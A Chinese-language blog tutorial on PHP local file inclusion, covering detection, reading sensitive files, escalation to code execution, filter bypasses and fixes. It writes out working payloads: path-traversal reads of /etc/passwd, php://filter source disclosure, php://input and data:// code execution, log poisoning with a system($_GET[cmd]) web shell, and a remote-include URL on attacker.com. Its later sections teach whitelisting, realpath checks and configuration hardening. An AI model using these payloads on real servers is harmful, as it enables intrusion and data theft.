本地文件包含漏洞原理与实战:从任意文件读取到Getshell

发布时间:2026/10/21 17:30:52
本地文件包含漏洞原理与实战:从任意文件读取到Getshell 1. 这个漏洞为什么值得你花时间搞懂文件包含漏洞尤其是本地文件包含Local File IncludeLFI是我在多年安全测试和代码审计中最常遇到的Web漏洞之一。它不像SQL注入那样名声在外但在实际攻防中它的杀伤力一点都不小——小则读取服务器上的敏感文件大则直接配合日志注入拿下服务器权限。先解释一下它到底是什么。很多Web应用在动态加载页面时会把文件路径作为参数传给后端脚本比如index.php?pageabout后端代码可能是include($_GET[page] . .php)。这里的page参数如果没做严格过滤攻击者就可以把它改成../../etc/passwd或者/etc/passwd让服务器把这个路径下的文件也包含进来直接把文件内容输出到页面上。这就是本地文件包含漏洞的核心用户可控的输入拼接进了文件包含函数的参数。这个漏洞适合谁来学如果你做开发需要知道为什么不能直接拼接用户输入到include/require如果你做安全测试这是必须掌握的基础漏洞类型无论挖洞还是写报告都会遇到如果你做运维了解它能帮你理解日志文件为什么需要保护以及如何通过配置降低风险。这篇文章我会从原理到实战演练再到修复方案完整地把LFI讲透全部基于我在授权测试环境中的实操经验。2. 本地文件包含的核心原理与触发场景2.1 include、require 与文件包含机制文件包含是PHP、JSP、ASP等语言提供的一种代码复用机制。以PHP为例include和require可以在运行时将一个文件的内容嵌入当前脚本执行。两者的区别在于include遇到错误时只产生警告脚本继续运行require则直接终止脚本。实际开发中很多开发者习惯用include来做模板加载因为这样单个文件出错不会导致整个站点崩溃。但问题恰恰出在这个方便上。当文件路径来自用户输入时开发者本意可能是让用户切换不同页面比如pagehome就加载home.phppageabout就加载about.php。但如果没有校验page参数只能是指定的几个值攻击者传入page../../../../etc/passwdPHP就会尝试把/etc/passwd当作PHP脚本解析。这里有一个关键认知文件包含漏洞利用的本质是让服务器的文件读取机制被外部输入操纵。和直接读取文件的漏洞比如任意文件读取不同文件包含不仅能读取内容如果目标文件内容恰好是合法的PHP代码这个代码还会被服务器执行。更典型的情况是包含图片马、日志文件、Session文件等直接把PHP代码植入进去再包含就能实现远程代码执行RCE。这就是为什么LFI经常被用作夺下服务器权限的跳板。2.2 高危函数识别清单在代码审计中我拿到一套源码后第一件事就是搜这些函数include/include_oncerequire/require_oncefopen/file_get_contents虽然不叫文件包含但同样存在路径可控风险readfile/file等文件操作函数搜索时关注的重点是这些函数的参数是否包含用户可控的变量。如果是include(templates/ . $_GET[page])这种形式前面固定前缀、后面用户输入依然是不安全的——后面会讲可以通过目录回溯绕过前缀限制。常见的安全写法应该是白名单映射例如$allowedPages [home, about, contact]; if (in_array($_GET[page], $allowedPages)) { include(pages/ . $_GET[page] . .php); } else { include(pages/404.php); }但现实中的老代码、开源项目、二次开发的CMS里直接拼接的写法太常见了。我见过一个企业内部系统所有菜单都走index.php?modafileb这种模式结果任一个file参数没过滤整个后台文件都能被读走。2.3 触发场景与攻击面分析从攻击者的视角来看LFI的入口点通常集中在几个地方模板选择参数?templatexxx、?pagexxx、?filexxx、?pathxxx、?langxxx这些都是重灾区语言切换功能多语言站经常传lang参数加载语言包如果语言包路径可控同样会被利用下载/预览功能比如?actiondownloadfilenamexxx后端直接把filename拼进文件路径日志查看、导出报表等管理功能后台功能往往防护更弱一旦存在LFI危害比前台更大攻击面广意味着检查面也大。我之前对一个老旧的OA系统做测试时发现它的所有页面都通过路由参数加载光url参数就有三处存在路径拼接问题而开发团队只修复了其中一个明显报错的入口另外两处需要特定权限才能触发差点被忽略。所以我建议做安全评估时一定要把所有用户可控的路径参数全部拉出来过一遍不能只测报错明显的点。3. 从探测到利用的完整实操路径3.1 第一步确认参数可控并判断文件包含模式在授权范围内做测试时我的流程是先确认输入点再构造payload探测。以一个典型的PHP站点为例假设URL是这样http://target.com/index.php?pageabout页面正常显示关于我们的内容切换成?pagehome也能正常加载。这种传什么就显示什么的迹象强烈暗示存在文件包含。第一步是探测。我一般先用无害探测的方法确认是否真的能读取系统文件http://target.com/index.php?page../../../../../../etc/passwd如果在页面上看到root:x:0:0:root:/root:/bin/bash这样的内容基本就坐实了LFI。如果看到空白页或报错也不代表不存在漏洞可能是加了.php后缀拼接或者路径回溯被过滤了。注意一个细节Linux系统的路径回溯层数../../../并不一定要精确匹配到根目录。因为include在处理多级../时只要最终到了根目录再往上多余的层级会被忽略。所以用很多层../是常见的做法。如果目标部署在Windows上路径分隔符用\或者/都能被接受测试时可以用http://target.com/index.php?page..\..\..\..\..\windows\win.ini3.2 第二步读取敏感文件验证影响范围确认漏洞后下一步就是验证影响。我最常读取的目标文件分三类系统配置类Linux/etc/passwd、/etc/hosts、/etc/hostnameWindows/windows/win.ini、/windows/system32/drivers/etc/hosts应用源码类尝试读取index.php本身通过源码找到数据库配置、更多文件包含点读取配置文件config.php、.env、database.php等日志和临时文件类Web日志/var/log/nginx/access.log、/var/log/apache2/access.logSSH登录日志/var/log/auth.logSession文件/tmp/sess_xxxxx读取源码尤其关键因为源码能暴露更多信息。我第一次拿到LFI漏洞时就是通过读取目标站点的index.php发现它里面还带着一个数据库备份文件路径顺着路径直接拿到了整库的备份文件。3.3 第三步尝试读取PHP源码的技术细节直接读源码有个障碍PHP文件会被服务器解析执行include一个.php文件时页面上显示的是执行结果而不是源码。比如你想读index.php但包含后看到的是首页内容而不是源代码。这时就要用PHP封装协议——php://filter。它的作用是读取文件原始内容不经过PHP解析配合base64编码可以避免特殊字符在传输中被破坏http://target.com/index.php?pagephp://filter/convert.base64-encode/resourceindex.php响应里会返回一段base64字符串解码后就是index.php的完整源码。这个技巧在实战中几乎是必用的因为php://filter是PHP内置的流封装器只要目标用的是PHP且没有显式禁用该协议它就有效。拿到源码后我会重点关注三类信息数据库配置账号、密码、主机其他文件包含点很可能还有更多漏洞上传功能、文件操作的逻辑用于策划下一步利用3.4 第四步突破路径限制的常见姿势很多时候代码里会有前缀或后缀拼接比如include(includes/ . $_GET[page] . .php);后缀.php的存在让直接读/etc/passwd变得不可能因为最终路径变成includes/../../../../../etc/passwd.php这个文件不存在。但绕过方法也不少空字节截断早期PHP版本5.3.4之前中URL中的%00可以截断字符串。构造?page../../../../etc/passwd%00最终解析路径时%00后面的.php被截掉。不过在现在的PHP版本上这个技巧已经失效老系统还有可能碰上。后缀截断利用超长路径让系统报错有些配置下会直接忽略文件名后半部分。这个方法比较依赖具体环境成功率不算高。路径长度截断Windows系统上超过一定长度的路径部分内容会被系统忽略。这个属于极端环境下的绕过方法不推荐常规使用。利用php://input或data://绕过如果代码没有限制协议头php://input可以把POST请求体直接作为文件内容传入。配合include执行就能在不依赖文件落地的情况下直接执行代码。4. 从文件读取到权限获取的进阶利用4.1 伪协议利用php://input 与 data://LFI最刺激的部分是把它升级成代码执行。条件只有一个文件包含函数能支持伪协议且没被过滤。php://input可以把POST请求体当作输入流。Payload构造如下假设目标代码为include($_GET[page]);先用Burp Suite或任意HTTP工具发送POST /index.php?pagephp://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded ?php phpinfo(); ?如果漏洞利用成功页面会直接显示出phpinfo()的执行结果。如果这一步成功说明已经拿到了PHP环境内的代码执行能力接下来只需写入一句话木马或者反弹Shell即可。不过在现代PHP环境里allow_url_include默认是关闭的php://input在很多情况下不可用。另一个选择是data://协议http://target.com/index.php?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg这里的base64内容解码后是?php phpinfo(); ?data://直接把数据当作流不需要文件落地。相比php://input它的优势是GET请求就能完成不需要POST包。缺点同样受allow_url_includeOn限制。4.2 日志注入getshell的完整过程如果伪协议被禁用还有个经典路子——日志注入。原理很简单Web服务器会把请求信息User-Agent、请求路径写进访问日志而攻击者可以控制User-Agent字段写入日志文件再用LFI包含日志文件让日志里的PHP代码被执行。完整流程我在授权测试环境里复现过多次第一步确认Web日志路径。常见的有Nginx/var/log/nginx/access.logApache/var/log/apache2/access.log或/var/log/httpd/access_log如果不知道具体路径可以先尝试用LFI读取/etc/nginx/nginx.conf或/etc/apache2/apache2.conf从配置里找日志路径。第二步向日志写入PHP代码。在请求的User-Agent处写入GET / HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[cmd]); ?第三步用LFI包含日志文件http://target.com/index.php?page../../../../var/log/nginx/access.logcmdid这时日志里的?php system($_GET[cmd]); ?会被当作PHP代码执行而cmdid传入system()函数页面会返回uid33(www-data)之类的执行结果。我之前踩过的一个坑是日志文件很大包含后页面会输出大量内容PHP代码散落在最前面很难看结果。解决方法是先在写入payload前用一次普通的合法请求刷新日志确保payload比较靠前或者用grep思路——但纯LFI场景下没法过滤日志内容只能把payload写在前面或者接受日志里所有输出一点点找。另一个办法是写一个闭合标签和补全让代码在日志上下文里也能正确解析。4.3 Session文件包含利用PHP应用还会把Session数据存储在磁盘上常见路径是/tmp/sess_[session_id]。Session内容通常由应用自行控制包含用户相关信息如用户名、邮箱等。如果应用存在Session可控字段比如登录后的昵称可以随意修改并且存在LFI攻击者可以登录后把恶意PHP代码写入昵称字段获取自己的PHPSESSID拼接Session文件路径通过LFI包含这个Session文件执行代码这个路径在CTF里出现频率较高真实环境中也有利用案例。利用条件是Session文件存放路径可知、字段可控、LFI存在三点全部满足时成功率极高。4.4 图片马与文件上传结合利用除了日志和Session文件上传也是LFI升级为RCE的常见跳板。攻击者上传一个内含PHP代码的图片常见做法是把?php phpinfo(); ?插到图片的EXIF信息或文件尾部再通过LFI包含这张图片服务器会按PHP去解析图片内容遇到?php ... ?标签就执行。绕过.php后缀限制时也常用这个思路如果能上传PNG文件到服务器LFI包含这个PNG并配合php://filter的base64编码同样可以拿到源码。但如果是为了执行代码直接包含图片即可。5. 实际测试中遇到的典型场景与绕过技巧5.1 场景一前缀后缀双限制目标代码长这样include(templates/ . $_GET[page] . .html);前面有templates/前缀后面有.html后缀。这种组合直接把上面说的很多基础payload废掉了。我踩过的坑就是一开始只测了直接包含/etc/passwd返回空白就以为没漏洞。后来重新梳理发现几个可用思路如果PHP版本较老%00截断测试一下成功概率存在如果允许data://或php://filter协议头会覆盖掉前缀拼接逻辑如果上传接口允许传入文件路径做删除或预览顺着这个入口试探另外注意一种后缀等价技巧有些过滤只挡了.php但允许.txt、.html这时候如果能上传内容是PHP代码的.txt文件再包含即可执行。5.2 场景二过滤了../和常见敏感词有些系统做了简单的危险字符过滤比如把../替换为空。这类过滤往往可以被双写绕过..././ - 过滤后变成 ../ ....// - 双重路径穿越如果过滤了/etc/passwd中的字段可以用///etc///passwd变体或者用....//编码后绕过。最稳妥的方式是根据过滤逻辑构造等价路径。比如过滤了../但没有过滤..\那么在Windows环境下用反斜杠即可绕过。5.3 场景三URL编码与双重编码很多过滤只匹配原始字符串不考虑解码后的情况。经典的绕法是用URL编码../ - %2e%2e%2f / - %2f如果服务器先解码一次再传给include有些过滤规则会失效。还有双重编码比如%252e%252e%252f如果程序做两次URL解码中间一次会导致路径还原。我在一次测试中遇到过防护规则它会拦截含../字样的请求但URL一次编码后拦截失效直接绕过。所以测试时建议用Burp的编码功能把这几种变体都打一遍。5.4 关于远程文件包含RFI的关联说明本地文件包含和远程文件包含是同一类漏洞的两个变种。RFI指的是include参数可以指向远程服务器上的文件例如http://target.com/index.php?pagehttp://attacker.com/shell.txtRFI利用更直接但现代PHP默认allow_url_includeOff所以实际遇到RFI的概率比LFI低得多。不过测试LFI时顺带试一下http://协议也是性价比很高的操作。如果站点在PHP配置里启用了远程包含一条URL就能完成代码执行。结合之前讲的日志注入思路即使RFI不可用LFI配上日志、Session、上传文件能达到的效果和RFI基本一致——都需要一个落脚点来放Payload但路径上的限制多了不少。6. 本地文件包含的修复方案与加固建议6.1 代码层面的修复告别危险拼接修复方案第一条永远是不要把用户输入直接拼进文件路径。推荐的做法是白名单映射$allowed [ home pages/home.html, about pages/about.html, contact pages/contact.html ]; $page $allowed[$_GET[page]] ?? pages/404.html; include($page);这样用户传任何值都无法影响实际包含的文件只能从固定映射里选择。白名单是防御LFI最彻底的方案没有之一。如果业务确实需要动态加载文件路径比如二次开发的CMS需要自定义模板那至少要加两层校验用realpath()获取解析后的绝对路径校验这个绝对路径是否在允许的目录前缀内$baseDir /var/www/html/pages/; $path realpath($baseDir . $_GET[page]); if ($path ! false strpos($path, $baseDir) 0) { include($path); } else { // 拒绝访问 }realpath()会把../都解析成真实路径然后检查结果是否还在$baseDir内。这个方案能有效防止目录回溯但要注意strpos判断前缀时如果攻击者上传一个路径恰好以$baseDir开头的文件理论上也存在风险不过现实中可操作性较低。6.2 配置层面的加固让协议和远程包含失效作为运维或部署人员可以在PHP配置里做几件防御的事allow_url_include Off allow_url_fopen Off这两个配置项关闭后php://、data://、http://等协议在include中会失效LFI很难直接升级为代码执行。allow_url_fopen会影响很多正常功能比如远程图片抓取所以如果业务上有需求优先保证allow_url_include为Off。另一个加固点是给重要的系统文件和日志文件设置权限。比如Web日志只对Web服务器用户和root可读这样即使存在LFI日志注入也只是理论威胁——因为攻击者没法用它执行代码。6.3 编码层面的防御输入校验与WAF规则在无法改代码的情况下依赖WAF做拦截属于亡羊补牢型方案。WAF规则可以重点拦截这些特征路径回溯标志../、..\、....//等变体系统文件关键词/etc/、/windows/、win.ini等伪协议关键词php://、data://、file://等但WAF不是万能的。我见过一起案例过滤规则写死了../但攻击者用....//加一次URL编码就绕过了。所以WAF只是增加攻击成本不能作为唯一的防御措施。对于使用老框架、无法快速改代码的场景建议优先用WAF规则做过渡防御同时排期修代码。6.4 测试验证修复后如何确认漏洞已解决每次修完漏洞我都建议按这几步来验证用原先可用的payload重新测一遍确认已经无法读取/etc/passwd或执行代码测几种常见的绕过变体确认不是只堵住了当时发现的入口如果用了白名单方案验证正常页面切换是否还正常检查是否有日志记录到异常请求评估之前是否已有攻击行为这里特别提醒修复后如果只是简单地把page参数过滤了但代码里还有其他可控的参数拼接文件路径仍然会存在同类漏洞。修完一个点之后一定要把全局相关代码都排查一遍。7. 常见问题速查与实操心得7.1 问题速查表症状可能原因排查建议包含后返回空白文件有后缀限制或不存在检查%00、协议头绕过包含后返回源码PHP代码被解析执行改用php://filter读取源码报错 failed to open stream路径不对或权限不足多试几层../确认日志路径读/etc/passwd成功但无法执行代码伪协议被禁尝试日志注入、Session包含过滤了../但被双写绕过过滤逻辑是简单替换用双写、URL编码、反斜杠交叉验证包含日志文件时页面超长卡顿日志文件太大刷新日志或选取写入位置靠前的记录7.2 我从实战中总结的几条心得第一LFI的测试不要只停留在能读文件这一步。读到系统文件只是证明漏洞存在真正评估危害等级要看能否升级为代码执行。在我以往出过的报告中危害等级总被定为高危而不是严重的原因就是LFI无法进一步利用。反过来一旦日志注入成功级别直接拉满。所以测试时至少要尝试一条能证明可以执行代码的利用链。第二路径探测要有耐心。用../../../的典型路径可能直接返回错误但用十六层、甚至二十层../在部分环境中反而能成功。这不是玄学是因为路径解析过程中越界部分被系统忽略和层数多少无关关键在于是否超过根目录。第三做代码审计比纯黑盒测试高效得多。拿到源码之后直接搜危险函数、追参数来源比逐个URL测试快得多。很多黑盒测不出来的LFI在代码审计里一眼就能看到。我最常做的事是先从公开渠道下载目标站点的历史版本源码用include或require关键词定位高危点再在黑盒环节用payload验证。第四日志注入要选对日志字段。User-Agent最常见也最好控制但有些服务器配置下UA字段会被改写成固定格式。可以考虑把payload放到请求行URL后面或者Cookies里比如PHP的access.log格式固定包含$request整行请求头这个字段里夹带payload往往能落进日志。我遇到过有些日志格式会转义空格就要用?php/*?这种去空格的写法。7.3 关于此漏洞的行业现状说实话LFI这类漏洞在最新开发的框架中已经很少出现了——现代主流框架的模板引擎、路由机制天然规避了直接拼接用户路径的问题。但存量系统、老项目、二次开发产品里LFI依旧大量存在。我接触过的不少企业内部系统中因为要支持多种模板风格、可定制主题开发团队会在后台做模板选择这个功能一旦对外开放设计LFI风险非常高。所以我的建议是如果你在维护老系统立刻搜索一遍所有文件操作函数的调用点如果你是甲方在采购系统时把是否存在任意文件包含漏洞列入安全测试范围如果你是学习者把LFI的原理和利用链彻底理解清楚这对之后学习其他文件操作类漏洞比如文件上传、目录遍历也很有帮助。这类漏洞的魅力在于它连接了读取和执行两个维度一条利用链能打通信息泄露到权限获取的全过程。希望这篇基于我实际踩坑经验写的文章能帮你少走一些弯路。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询